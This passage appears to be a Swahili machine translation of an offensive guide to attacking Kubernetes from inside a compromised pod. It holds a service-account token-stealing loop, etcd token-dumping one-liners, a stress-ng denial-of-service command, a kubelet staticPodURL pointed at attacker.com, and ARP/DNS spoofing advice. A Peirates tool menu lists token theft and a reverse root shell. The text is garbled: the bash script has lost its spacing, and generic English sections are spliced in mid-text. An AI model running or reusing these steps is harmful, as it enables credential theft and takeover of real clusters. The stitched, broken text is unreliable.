Kawaida pods hufanyishwa kazi na tokeni ya akaunti ya huduma ndani yao. Akaunti hii ya huduma inaweza kuwa na mamlaka zilizowekwa ambazo unaweza kutumia vibaya kwa kusonga kwenye pods nyingine au hata kutoroka kwenda kwenye nodi zilizowekwa ndani ya kikundi. Angalia jinsi ya kufanya hivyo:
Ikiwa pod inafanyishwa kazi ndani ya mazingira ya wingu unaweza kuweza kuvuja tokeni kutoka kwa mwisho wa metadata na kuinua mamlaka kuitumia.
Tafuta huduma za mtandao zenye kasoro
Ukiwa ndani ya mazingira ya Kubernetes, ikiwa huwezi kuinua mamlaka kwa kutumia vibaya mamlaka ya sasa ya pods na huwezi kutoroka kutoka kwenye chombo, unapaswa kutafuta huduma za mtandao zenye kasoro.
Huduma
Kwa lengo hili, unaweza kujaribu kupata huduma zote za mazingira ya kubernetes:
kubectl get svc --all-namespaces
Kwa chaguo-msingi, Kubernetes hutumia mpangilio wa mtandao wa gorofa, ambao maana yake ni pod/huduma yoyote ndani ya kikundi inaweza kuongea na nyingine. Nafasi ndani ya kikundi hazina vizuizi vya usalama wa mtandao kwa chaguo-msingi. Mtu yeyote katika nafasi anaweza kuongea na nafasi nyingine.
Kuchunguza
Skripti ifuatayo ya Bash (iliyochukuliwa kutoka kwa warsha ya Kubernetes) itainstall na kuchunguza safu za IP za kikundi cha kubernetes:
Kwa kesi ambapo kasha lililodhoofishwa linatumia huduma nyeti ambapo vikasha vingine vinahitaji kuthibitisha unaweza kupata vibali vilivyotumwa kutoka kwa vikasha vingine kwa kuvuta mawasiliano ya ndani.
Udukuzi wa Mtandao
Kwa njia za msingi kama udukuzi wa ARP (na shukrani kwa hilo Udukuzi wa DNS) hufanya kazi kwenye mtandao wa kubernetes. Kisha, ndani ya kasha, ikiwa una uwezo wa NET_RAW (ambao upo kwa chaguo-msingi), utaweza kutuma pakiti za mtandao zilizoundwa kwa desturi na kutekeleza mashambulizi ya MitM kupitia Udukuzi wa ARP kwa vikasha vyote vinavyotumika kwenye nodi ile ile.
Zaidi ya hayo, ikiwa kasha lenye nia mbaya linatumika kwenye nodi ile ile kama Seva ya DNS, utaweza kutekeleza shambulizi la Udukuzi wa DNS kwa vikasha vyote kwenye kikundi.
Hakuna maelezo ya rasilimali katika hati za Kubernetes na mipaka ya kikomo haijaombwa kwa vyombo. Kama mshambuliaji, tunaweza kutumia rasilimali zote ambapo kasha/kupelekwa kunafanya kazi na kumaliza rasilimali zingine na kusababisha DoS kwa mazingira.
Hii inaweza kufanywa kwa kutumia chombo kama stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Unaweza kuona tofauti wakati unapoendesha stress-ng na baada ya hapo
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
The script can-they.sh itapata moja kwa moja vitufe vya makasha mengine na kuchunguza kama vina ruhusa unayoitafuta (badala ya wewe kutazama moja kwa moja):
DaemonSet ni pod ambayo itaendeshwa kwenye nodes zote za kikundi. Kwa hivyo, ikiwa DaemonSet imeboreshwa na akaunti ya huduma yenye haki maalum, kwenye nodes ZOTE utaweza kupata ishara ya akaunti ya huduma yenye haki maalum ambayo unaweza kutumia vibaya.
Udanganyifu ni ule ule kama katika sehemu iliyopita, lakini sasa hauitaji kutegemea bahati.
Kugeukia Kwenye Wingu
Ikiwa kikundi kinasimamiwa na huduma ya wingu, kawaida Node itakuwa na ufikiaji tofauti kwa kiishara mwisho kuliko Pod. Kwa hivyo, jaribu kufikia kiishara cha metadata kutoka kwenye node (au kutoka kwa pod na hostNetwork kuwa True):
Ikiwa unaweza kubainisha jinaNode ya Node ambayo itaendesha chombo, pata kabati ndani ya node ya udhibiti na pata databesu ya etcd:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane nodes wana jukumu la kiongozi na katika kikundi cha wingu kilichosimamiwa hutoweza kuendesha chochote ndani yao.
Soma siri kutoka kwa etcd
Ikiwa unaweza kuendesha podi yako kwenye kifaa cha kudhibiti cha kiongozi kwa kutumia chaguo la nodeName katika maelezo ya podi, unaweza kupata upatikanaji rahisi kwa database ya etcd, ambayo ina mazingira yote ya kikundi, ikiwa ni pamoja na siri zote.
Hapa chini ni njia ya haraka na chafu ya kunasa siri kutoka kwa etcd ikiwa inaendeshwa kwenye kifaa cha kudhibiti cha kiongozi uliopo. Ikiwa unataka suluhisho lenye mvuto zaidi ambalo linazindua podi na zana ya mteja wa etcdetcdctl na kutumia sifa za kifaa cha kudhibiti cha kiongozi kuunganisha na etcd popote inapoendeshwa, angalia mfano huu wa hati kutoka @mauilion.
Angalia ili uone kama etcd inaendeshwa kwenye kifaa cha kudhibiti cha kiongozi na uone wapi database iko (Hii ni kwenye kikundi kilichoundwa na kubeadm)
## Attacking Kubernetes from Inside a Pod### IntroductionWhen an attacker gains access to a Kubernetes pod, they are in a privileged position to perform further attacks within the cluster. This section explores various techniques that can be used by an attacker to escalate privileges and move laterally within a Kubernetes cluster.
### Escalating Privileges#### Accessing the Kubernetes APIOne common technique is to access the Kubernetes API from within a compromised pod. This can be achieved by leveraging service account tokens or by mounting the host's `/var/run/secrets/kubernetes.io/serviceaccount` directory into the pod.
#### Exploiting Misconfigured RBAC RolesIf the pod has excessive permissions assigned through Role-Based Access Control (RBAC) roles, an attacker can abuse these privileges to perform unauthorized actions within the cluster.
### Moving Laterally#### Pod-to-Pod CommunicationOnce inside a pod, an attacker can attempt to communicate with other pods within the same cluster. This can be done using tools like `kubectl` or by exploiting any misconfigurations that allow pod-to-pod communication.
#### Accessing Secrets and ConfigMapsBy accessing secrets and ConfigMaps within the cluster, an attacker can gather sensitive information that may help them further compromise the Kubernetes environment.
### ConclusionSecuring Kubernetes pods is crucial to prevent attackers from escalating privileges and moving laterally within a cluster. By understanding these attack techniques, security professionals can better defend against such threats.
data-dir=/var/lib/etcd
Angalia data katika database ya etcd:
strings/var/lib/etcd/member/snap/db|less
Chukua vibali kutoka kwenye database na onesha jina la akaunti ya huduma
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Amri ileile, lakini greps fulani ili irudishe tu token ya chaguo-msingi katika nafasi ya kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a PodWhen an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. Here are some techniques attackers can use from inside a pod:
1. **Pod Escape**: Attackers can try to break out of the pod to gain access to the host machine or other pods.2. **Pod to Pod Communication**: Attackers can eavesdrop on or intercept traffic between pods within the cluster.3. **Service Account Token Theft**: Attackers can steal service account tokens to escalate privileges within the cluster.
4. **Resource Exhaustion**: Attackers can consume resources within the pod to cause denial of service or disrupt other pods.
5. **Pod Metadata Service Abuse**: Attackers can abuse the pod metadata service to gather information about the cluster and its resources.
It is essential to secure pods and limit their permissions to minimize the impact of an attack from inside a compromised pod.
Pods za Stati zinasimamiwa moja kwa moja na kifaa cha kubelet kwenye node maalum, bila seva ya API kuwaona. Tofauti na Pods zinazosimamiwa na mtego wa kudhibiti (kwa mfano, Upelekaji); badala yake, kubelet hufuatilia kila Pod ya Stati (na kuizindua upya ikiwa inashindwa).
Hivyo basi, Pods za Stati daima zimefungwa kwa kubelet moja kwenye node maalum.
Kubelet kiotomatiki jaribu kuunda Pod ya kioo kwenye seva ya API ya Kubernetes kwa kila Pod ya Stati. Hii inamaanisha kwamba Pods zinazoendesha kwenye node zinaonekana kwenye seva ya API, lakini haziwezi kudhibitiwa kutoka hapo. Majina ya Pod yatakuwa yameongezewa na jina la mwenyeji wa node na alama ya mstari mbele.
spec ya Pod ya Stati haiwezi kurejelea vitu vingine vya API (k.m., Akaunti ya Huduma, Ramani ya Usanidi, Siri, n.k. Kwa hivyo hauwezi kutumia tabia hii vibaya kuzindua pod na Akaunti ya Huduma isiyo na mpangilio kwenye node ya sasa kuhatarisha kikundi. Lakini unaweza kutumia hii kuzindua pods katika nafasi tofauti (ikiwa hiyo ni muhimu kwa sababu fulani).
Ikiwa uko ndani ya mwenyeji wa node unaweza kufanya iundwe pod ya stati ndani yake mwenyewe. Hii ni muhimu sana kwa sababu inaweza kukuruhusu kuunda pod katika nafasi tofauti kama vile kube-system.
Sanidi parameta --pod-manifest-path=/etc/kubernetes/manifests katika huduma ya kubelet, au katika mipangilio ya kubelet (staticPodPath) na kuzindua upya huduma
Unda ufafanuzi kwenye ufafanuzi wa pod katika /etc/kubernetes/manifests
Njia nyingine ya siri zaidi itakuwa:
Badilisha parameta staticPodURL kutoka kwenye faili ya mipangilio ya kubelet na weka kitu kama staticPodURL: http://attacker.com:8765/pod.yaml. Hii itafanya mchakato wa kubelet kuunda pod ya stati ikipata ufafanuzi kutoka kwenye URL iliyotajwa.
Mfano wa ufafanuzi wa pod wa kuunda pod yenye haki za ziada katika kube-system iliyochukuliwa kutoka hapa:
Ikiwa mshambuliaji amevamia node na anaweza kufuta pods kutoka kwa nodes nyingine na kufanya nodes nyingine zisweze kutekeleza pods, pods zitarudiwa kwenye node iliyovamiwa na ataweza kuiba tokeni zilizotekelezwa ndani yao.
Kwa mambo zaidi fuata viungo hivi.
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
